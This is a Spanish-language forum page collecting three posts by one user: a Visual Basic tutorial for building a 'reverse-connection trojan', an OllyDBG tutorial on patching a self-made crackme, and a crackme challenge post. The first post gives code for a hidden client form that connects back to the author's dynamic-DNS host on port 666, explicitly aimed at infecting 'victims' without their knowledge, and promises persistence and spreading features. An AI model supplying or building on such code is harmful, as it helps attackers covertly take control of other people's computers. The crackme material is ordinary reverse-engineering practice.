Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - abrahametalero

#1
Bueno pues ahora les vengo mostrando como hacer su propio tutorial para que ya no sean unos lammer'sillos :P...
Dejar de usar las tools de otras personas y hacer las nuestras...
Dar nuestro siguiente paso.
Pues lo que haremos sera hacer un troyano de conexion inversa... ¿Que quiere decir esto? que la computadora infectada se conecte a la nuestra ¿Porque? porque hasi es mucho mejor, si nosotros hacemos un troyano normal, nosotros tendriamos que saber el ip de la victima... y oviamente no vamos a andar preguntando ¿Cual es tu ip... para hackearte?, pues lo que haremos nosotros sera que su computadora se conecte a la nuestra atraves de nuestra ip, ¿Pero que pasa si cambiamos nuestra ip? pues si cambias tu ip es como si ya no tuvieras a la persona infectada, porque el troyano se seguiria conectando a la ip que nosotros le pusimos por eso usaremos un No-Ip si no saben como usar el No-Ip busquense un tutorial, yo no voy a andar hasiendo tutoriales de cosas que no vienen al caso xD!.

Comenzemos!

Bueno abirmos nuestro Visual Basic y le ponemos un diseño cualquiera, no importa como se vea, si no lo que importa es lo que hace(6), ponemos 4 label's... mi forma se ve algo como esto:

Son 4 labels... el primero dice "Estado:" y alado hay otro label para que muestre si esta conectado o desconectado el troyano, el otro label dice "IP:" para que en el otro label muestre cual es la ip de la victima.
Ahora vamos a agregar la parte mas importante de todo el progama.... el Winsock... para agregarlo agamos lo siguiente:

Vallamos a proyecto > Componentes
O Precionando Ctrl + T

Y nos saldra la siguiente ventana:

Busquemos "Microsoft Winsock Control 6.0" y lo seleccionamos, ahora damos aceptar y ya tenemos el componente en nuestra barra de herramientas:

Ahora la ponemos en la forma, no importa en que parte ya que en tiempo de ejecucion no se vera.

En el Form Load Agregamos el Siguiente codigo:
Private Sub Form_Load()
On Error Resume Next
Winsock1.Close
Winsock1.LocalPort = 666
Winsock1.Listen
End Sub


Explicacion:

"On Error Resume Next" esta instruccion es por si el programa tiene algun probleca con alguna de las siguientes funciones, que no marque error y se cierre, lo que hace es que continua con la siguiente funcion.

"Winsock1.Close" Winsock1 es el nombre de nuestro winsock y la propiedad "Close" es para cerrar todas las conexiones abiertas, esto se hace por si hay alguna conexion establecida cerrarla para abrirla nuevamente.

"Winsock1.LocalPort = 666" la propiedad "LocalPort" asigna un puerto en especial para la conexion, 666 es el puerto que deseamos asignar, le podemos poner el que sea pero tiene que ser el mismo que le pongamos a la otra forma.

"Winsock1.Listen" Pone a la escucha nuestro winsock para que en cualquier momento nuestras victimas se puedan conectar a nosotros.

Ahora vamos a agregar el siguiente codigo:
Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Label4.Caption = Winsock1.RemoteHostIP
Label2.Caption = "Conectado"
End Sub


Explicacion:

"winsock1_ConnectionRequest" esto quiere decir que cuando nos manden la señal de que se quieren conectar a nuestra pc (Nuestra victima) entonces.....

"Winsock1.Close" Cierra las conexiones anteriores para conectar una nueva.

"Winsock1.Accept requestID" acepta la conexion de la pc infectada.

"Label4.Caption = Winsock1.RemoteHostIP" Le ponemos al label4 la ip de la victima.

"Label2.Caption = "Conectado"" Le ponemos al label2 "Conectado" para que sepamos cuando estamos conectados.

Agregamos tambien esto:
Private Sub Winsock1_Close()
Label2.Caption = "Desconectado"
Label4.Caption = " "
End Sub


Explicacion:

"Winsock1_Close" Esta funcion es para cuando se cierre la conexion...

"Label2.Caption = "Desconectado"" En el label2 ponemos "Desconectado" para saber cuando se desconecta la victima.

"Label4.Caption = " "" Para no tener ningun valor en donde es la ip.

Y pueden creerlo.... con esto ya tenemos la mitad del troyano... claro sin ninguna funcion... lo unico que hace nuestro troyano hasta ahora es tomar las conexiones que nos pidan... pero... cuales

conexiones vamos a tomar si de ningun lado nos la van a pedir??? agamos que nos la pida la victima..
Entonces agamos lo siguiente:

La Segunda Parte!
Antes que nada guarden el proyecto anterior y abran uno nuevo...
Este va a ser el que le enviaremos a la victima para que se conecte a nuestra ip.
Agregamos el componente WinSock nuevamente y lo agregamos a nuestra forma.
OJO... NUESTRA FORMA NO NECESITA UN DISEÑO CON ESTILO, LA VICTIMA NO LO VERA HASI QUE NO SE PREOCUPEN.

En el Form_Load Agregamos el siguiente codigo:
On Error Resume Next
Me.Hide
Winsock1.Close
Winsock1.Connect "TU NO-IP O TU IP", 666


Explicacion:

"On Error Resume Next" Si hay error segir corriendo el programa.

"Me.Hide" Para que la victima no vea nuestro programa, para que no se de cuenta de que esta infectado.

"Winsock1.Close" Cierra todas las conexiones anteriores.

"Winsock1.Connect "TU NO-IP O TU IP", 666" esta es la funcion que hace que la pc del infectado se conecte a nuestra ip, de preferencia haste un NO-IP para que no se pierda la conexion. En 666 es el puerto asignado en la forma anterior, le puedes poner el puerto que quieras pero debe estar igual en las 2 formas.

Y pueden Creerlo?? ya tenemos nuestro troyano.... CON ESTO LA PC DEL INFECTADO SE CONECTA A NUESTRA PC!!
Claro no tiene ninguna funcion nuestro troyano pero ya hisimos que se conectara a nosotros.

El codigo completo de la primera forma es:
Private Sub Form_Load()
On Error Resume Next
Winsock1.Close
Winsock1.LocalPort = 666
Winsock1.Listen
End Sub

Private Sub Winsock1_Close()
Label4.Caption = " "
Label2.Caption = " "
End Sub

Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Label4.Caption = Winsock1.RemoteHostIP
Label2.Caption = "Conectado"
End Sub


Y el codigo completo de la segunda forma es:
Private Sub Form_Load()
On Error Resume Next
Me.Hide
Winsock1.Close
Winsock1.Connect "abrahametalero.sytes.net", 666
Label1.Caption = "Conectando"
If Err Then Exit Sub
End Sub

(Por ahora esto es todo el codigo)
Agamos la prueba si funciona...
yo le puse que se conectara a mi no-ip.....

Ejecutemos nuestras 2 formas
Primero ejecutemos la nuestra... en la que recivimos la conexion.

Cuando abri la forma que pide la conexion... al instante se puso lo siguiente en la que la recive...

Esto quiere decir que si funciona nuestro troyano....

Despedida
Bueno por ahorita ya estoy un poco cansado...
hasi que para despues les digo como agregar muchas mas funciones, como hacer que se agrege al registro, se autocopie y se expanda por todos los discos duros....
Les prometo hacer otro tutorial de como ponerle funciones si comentan y votan :D:D.....

Espero averles explicado bien... si no les explique bien aganmelo saber para explicarles todo lo que necesiten.
Cualquier cosa comenten.
-------------------------------------------------------------
-------------------------------------------------------------
Greatz: IpKiss & w0rm  &  Maztor  &   LinuxFer
-------------------------------------------------------------
-------------------------------------------------------------
#2
Bueno despues de un tiempo sin hacer tutoriales....
Pues ahora los vengo molestando con este tutorial de como crackiar aplicaciones creadas con VB con nuestra herramienta preferida... OllyDBG...
Hay otras herramientas que facilitan el crackeado de aplicaciones  en VB pero despues las veremos... por ahora usaremos nuestro bendito OllyDBG...
Nose si alguna ves han intentado crackear algo creado en VB?? pues cuando lo decopilan con OllyDBG les sale unas instrucciones muy extrañas a las comun, lo que no sabemos es que es tan comun, solo hay que saberlas diferenciar.
En este caso usare un CrackMe que cree para este tutorial(Link al final del post), no lo hice muy complejo porque este tutorial es basico... solo les dare los conseptos mas facil por ahora.

Primeros pasos
Lo primero que haremos sera observar nuestra victima (el crackme), hasi que lo abrimos:


Lo primero que nos sale al correr el programa es esta molesta ventanita, mejor conocida como NAG, esta ventanita nos sale cuando no tenemos el programa registrado...


sigamos observando el crackme...
Lo que vemos es un textbox, un botón abajo... y al ultimo un label que dice "Sin Registrar"...
Me llamo la atencion el boton, porque esta desabilitado, le doy click... y no pasa nada, esto quiere decir que tendremos que habilitarlo :P...
Bueno ya basta de observar el crackme y vallamos a la mejor parte... OllyDBG

Con OllyDBG
Para empezar abrimos nuestro OllyDBG y decopilemos el crackme, nos saldra algo hasi:


Y ustedes diran ":O:O que instrucciones tan mas extrañas son esas.." pero la verdad son normales... ahorita veremos porque :P
Lo que haremos sera buscar todas las string's que allá en el programa así que hagamos lo siguiente:


Segundo click > Search For > All Referenced Text String
Le di hacia abajo, y me encontre con lo siguiente:


hay una instruccion en especial que me interesa... "IsDebuggerPressent", esta es una instruccion que se utiliza para todos los lenguajes de programacion y sirve para ver si el programa esta siendo debuggeado, ocea que si nosotros corremos nuestro programa en OllyDBG nos saldra lo siguiente:


Una ventanita que solo sale cuando esta siendo debuggeado el programa, no se preocupen esto se puede anular, ahorita les explico como...
Despues de picarle al boton "aceptar" se cerro el programa, corri denuevo el programa, y en lugar de picarle al boton, le pique a las tachitas pero salio lo mismo se cerro el programa. Esto es parte del programa, cuando detecta que el programa esta siendo debuggeado, se cierra el programa, para evitar que el programa sea crackiado.... pero esto no evita que el programa sea crackiado, lo unico que hace es molestar...
Continuemos!

Sigamos buscando strings... en este caso va a ser una en especial, la que hace que el programa se cierre cuando inicie el para evitar mas molestias y seguir crackiando nuestra aplicacion....
Como vimos, cuando detecta que esta siendo debuggeado sale un letrero con titulo "CrackMe!" y que dice "Cracker??" entonces busquemos eso en las string's...
Las encontre son las siguientes:


Damos click sobre cualquiera de las 2 (nos llevara casi a la misma parte, no importa sobre cual des click) y nos llevara a la siguiente zona:


Lo que les he mostrado es lo mas importante, les dire porque.
Para empezar vemos un salto (JE), ese es el salto que dice "Si es igual salto, si no no" entonces lo que hace hay es saltar si el programa esta siendo debuggeado lo que haremos sera parchar el codigo cambiando el JE por JMP

Les explicare algunas instrucciones usadas aqui:

Para empezar vemos las siguientes instrucciones:
0040406F|  -  C745 8C AC3A4......   | Mov Dword PTR SS:[EBP-74], Prueba_D.0040...... |  UNICODE "CrackMe!"
00404081|  -  C745 9C 883A4......   | Mov Dword PTR SS:[EBP-64], Prueba_D.0040...... |  UNICODE "Cracker??!"

Que significa esto?? esto quiere decir que "CrackMe!" es el titulo de la ventana y que "Cracker??" es lo que dice en la ventana.

0040409F|  -  FF15 2C104000   | CALL Dword PTR DS:[<&MSVBVM60.#595>] |  MSVBVM60.rtcMsgBox

Esta instruccion es la que hace que salga el mensage, si queremos que no salga este mensage podemos Nop'ear esta intruccion sin ningun error pero esto no va a evitar que se cierre el programa.

004040C0|  -  FF15 10104000   | CALL Dword PTR DS:[<&MSVBVM60.__vbaEnd] |  MSVBVM60.__vbaEnd

Creo que con solo ver el "END" pueden dedusir que hace, lo que hace es cerrar la aplicacion vb... esta tambien la podemos nop'ear pero prefiero parchar el programa.

Bueno estas son algunas de las prinsipales instrucciones que aparecen en esta parte del codigo.
Continuemos!

Lo que haremos ahora sera hacer que el boton este activo para poder verificar nuestra clave.
Primero chequeemos cual es el nombre del boton, el nombre del boton es "Comprobar" pero como vemos, el boton inicia con la "C" subrayada esto quiere decir que su nombre seria "&Comprobar" ("&" en vb es para subrayar una letra) hasi que en la ventana prinsipal de OllyDBG precionemos:
Ctrl > B
Nos saldra la siguiente ventana:


Introducimos el nombre "&Comprobar", en mi caso solo puse "Comprobar" pero vean que tengo las dos opciones de abajo palomiadas.
Nos llevara a esta parte:


Principalmente vemos el nombre del boton que en este caso es "Command1" y 5 lineas mas abajo vemos lo que se ve en el boton "&Comprobar" (Comprobar).
Debajo podemos ver lineas que dicen "DB 04" "DB B0" etc.
Estas lineas son las propiedades del boton, TODAS LAS PROPIEDADES asi que podemos cambiarle todo ABSOLUTAMENTE TODO a nuestro gusto, en este caso queremos que el boton este activo.
Jugando con las propiedades me di cuenta que la propiedad de "Enabled" es la linea 11 contando hasia abajo del nombre del boton, ocea contamos 11 hacia abajo apartir de "&Comprobar", podemos ver que dice "DB 00" esto quiere decir que el boton esta enabled = false, porque ?? porque 0 es igual a false y 1 es igual a true, esto quiere decir que como el boton esta en "0" esta inactivo...
Lo que haremos nosotros sera poner que este activo, ¿Como hacer esto? pues oviamente cambiando el 0 por 1..


Damos segundo click > Binary > Edit o facilmente precionando
Ctrl + E
Y nos saldra una ventana como la siguiente:


Aqui es donde editamos el 0 por el 1.. (Cambiamos el segundo 0)
Y nuestro boton estara activo ahora.

Ahora eliminaremos la NAG, la ventana molesta que sale cuando iniciamos el programa. ¿Como hacer esto?
Busquemos en las string's el contenido de la ventana ("Tienes una version sin registrar"), damos doble click y nos enviara hasia aca:


Principalmente vemos el titulo de la ventana "CrackMe!" y despues vemos el contenido.
Un poco mas abajo vemos lo siguiente:
00403FC8|  -  FF15 2C104000   | CALL Dword PTR DS:[<&MSVBVM60.#595] |  MSVBVM60.rtcMsgBox

Esta instruccion es la que nos manda la ventanita molesta del principio (NAG), lo que haremos sera nop'ear esta instruccion para que no salga la ventana..


Damos segundo click > Binary > Fill with NOPs
Y se quitara esa instruccion y nos saldra esto:


ocea que no nos saldra la ventana molesta (NAG).

Producto Final
Despues de realizar los cambios anteriores, si hisieron todo correctamente ya deberia estar nuestro programa listo para ser crackiado.
Ahora corramos el programa....
Prinsipalmente como siempre nos deberia salir la ventana molesta diciendonos que el programa no esta registrado blablabla, eso ya quedo en el pasado porque ya no nos salio.
Despues deberia detectar que el programa esta siendo debuggeado , pues en este caso no, porque lo parchamos asi que deberia correr sin ningun problema.
Despues hisimos que nuestro boton este activo y hasi deberia pasar, nuestro boton deberia funcionar.
Y listo nuestro programa esta preparado para ser crackiado :D:D.

Algunas instrucciones mas..
Aqui les van algunas otras instrucciones muy usadas:
MSVBVM60.__vbaVarMove
Esta lo que hace es pasar el valor de una variante a otra.

MSVBVM60.__vbaVarCopy
Copia el valor de una variante a otra.

MSVBVM60.__vbaVarCmp
Compara dos variantes.

Estas solo son algunas de las muchas que hay.

Despedida
Bueno este tutorial es 100% mio, ¿Como descubri todo esto? por mi gran aficion por hacer crackme's en vb, estuve comparando un crackme con otro, asi sucesivamente hasta que encontre todo lo que se.
Si quieres descubrir todas las propiedades que tiene cada objeto, compara, has una forma con una propiedad y otra sin ella, checa cuales son las que tienen 1 o 0 y asi hasta que sepas.

Este tutorial es 100% mio, si lo van a copiar pongan creditos plxx xD!

-------------------------------------------------------------
-------------------------------------------------------------
Descargas:
CrackMe:http://www.mediafire.com/file/udwzn1mtkfy/Prueba DDLR.exe
OllyDBG:http://www.mediafire.com/file/qz2gx2jkenc/OllyDBG.zip
-------------------------------------------------------------
-------------------------------------------------------------
Greatz: IpKiss     &     w0rm
-------------------------------------------------------------
-------------------------------------------------------------
#3
Bueno este es un crackme que acabo de hacer..
Lo hice especialmente para esta web, si le puse algo que no les parece bien, diganme para cambiarlo....
El Crackme tiene unas caracteristicas que ara mas dificil su trabajo como cracker's ;)

Lo que deben hacer es activar el boton para registrarse.... la etiqueta de archivo es solo para darle diseño, eso no tiene nada que ver...

El crackme se ve hasi:

Me parecio buena la idea de ponerle la imagen de elhacker.net pero si no les parece buena la idea de tenerlo hasi, pues diganme y la quito...
Bueno esto es todo.... al ataque cracker's ;) !!!!!

Link de descarga del CrackMe!:

Megaupload:http://www.megaupload.com/?d=ISD84TCV

Mediafire: http://www.mediafire.com/file/zijemnlcunz/CrackMe!.exe

Rapidshare: http://rapidshare.com/files/370460871/CrackMe_.exe.html

Envienme un serial correcto por mp

Personas que lo han realizado:
--MCKSys Argentina      <------ el primero
--Teno
--
--